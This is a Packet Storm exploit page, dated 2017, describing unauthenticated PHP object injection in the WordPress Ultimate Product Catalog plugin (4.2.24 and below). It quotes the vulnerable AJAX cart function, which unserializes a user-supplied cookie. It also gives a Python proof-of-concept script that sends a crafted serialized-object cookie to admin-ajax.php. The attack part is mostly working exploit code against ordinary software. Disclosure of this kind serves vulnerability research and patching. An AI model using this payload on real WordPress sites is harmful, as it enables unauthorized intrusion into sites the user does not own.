what you don't know can hurt you

WordPress Ultimate Product Catalog 4.2.24 PHP Object Injection

WordPress Ultimate Product Catalog 4.2.24 PHP Object Injection
Posted Oct 30, 2017
Authored by tomplixsee

WordPress Ultimate Product Catalog plugin versions 4.2.24 and below suffer from a PHP object injection vulnerability.

tags | exploit, php
MD5 | 3f4ffd5d0fa22e90026bf5db1d8f6c0b

WordPress Ultimate Product Catalog 4.2.24 PHP Object Injection

Change Mirror Download
# Exploit Title: [WP Plugin Ultimate Product Catalog 4.2.24 PHP Object Injection]
# Google Dork: [NA]
# Date: [Okt 30 2017]
# Exploit Author: [tomplixsee]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [http://www.etoilewebdesign.com/plugins/ultimate-product-catalog/]
# Software Link: [https://wordpress.org/plugins/ultimate-product-catalogue/]
# Version: [<= 4.2.24]
# Tested on: [Ubuntu Server 16.04]
# CVE : [NA]

tested on app version 4.2.23, 4.2.24

we can send an evil cookie (login not required) to vulnerable function
1. vulnerable code on Functions/Process_Ajax.php <= tested

203 // Adds an item to the plugin's cart
204 function UPCP_Add_To_Cart() {
205 global $woocommerce;
206 global $wpdb;
207 global $items_table_name;
208
209 $WooCommerce_Checkout = get_option("UPCP_WooCommerce_Checkout");
210
211 if ($WooCommerce_Checkout == "Yes") {
212 $WC_Prod_ID = $wpdb->get_var($wpdb->prepare("SELECT Item_WC_ID FROM $items_table_name WHERE Item_ID=%d", sanitize_text_field($_POST['prod_ID'])));
213 echo "WC ID: " . $WC_Prod_ID . "<Br>";
214 $woocommerce->cart->add_to_cart($WC_Prod_ID);
215 }
216
217 if (isset($_COOKIE['upcp_cart_products'])) {
218 $Products_Array = unserialize(str_replace('\"', '"', $_COOKIE['upcp_cart_products']));
219 }
220 else {
221 $Products_Array = array();
222 }
223
224 $Products_Array[] = $_POST['prod_ID'];
225 $Products_Array = array_unique($Products_Array);
226 setcookie('upcp_cart_products', serialize($Products_Array), time()+3600*24*3, "/");
227 }
228 add_action('wp_ajax_upcp_add_to_cart', 'UPCP_Add_To_Cart');
229 add_action( 'wp_ajax_nopriv_upcp_add_to_cart', 'UPCP_Add_To_Cart' );

2. vulnerable code on Functions/Shortcodes.php <= not tested

POC
1. use a WP plugin to test php object injection,
like this one https://www.pluginvulnerabilities.com/2017/07/24/wordpress-plugin-for-use-in-testing-for-php-object-injection/

2. make a request
#-----------------------------------
#! /usr/bin/python
import requests
url = "http://vbox-ubuntu-server.me/wordpress/wp-admin/admin-ajax.php?";
data = {'action':'upcp_add_to_cart'}
headers = {
'Content-type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Cookie': 'upcp_cart_products=O:20:"PHP_Object_Injection":0:{}'
}
r = requests.post(url, data=data, headers=headers)

print r.content

#------------------------------------

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    2 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    16 Files
  • 13
    Feb 13th
    19 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    20 Files
  • 20
    Feb 20th
    34 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close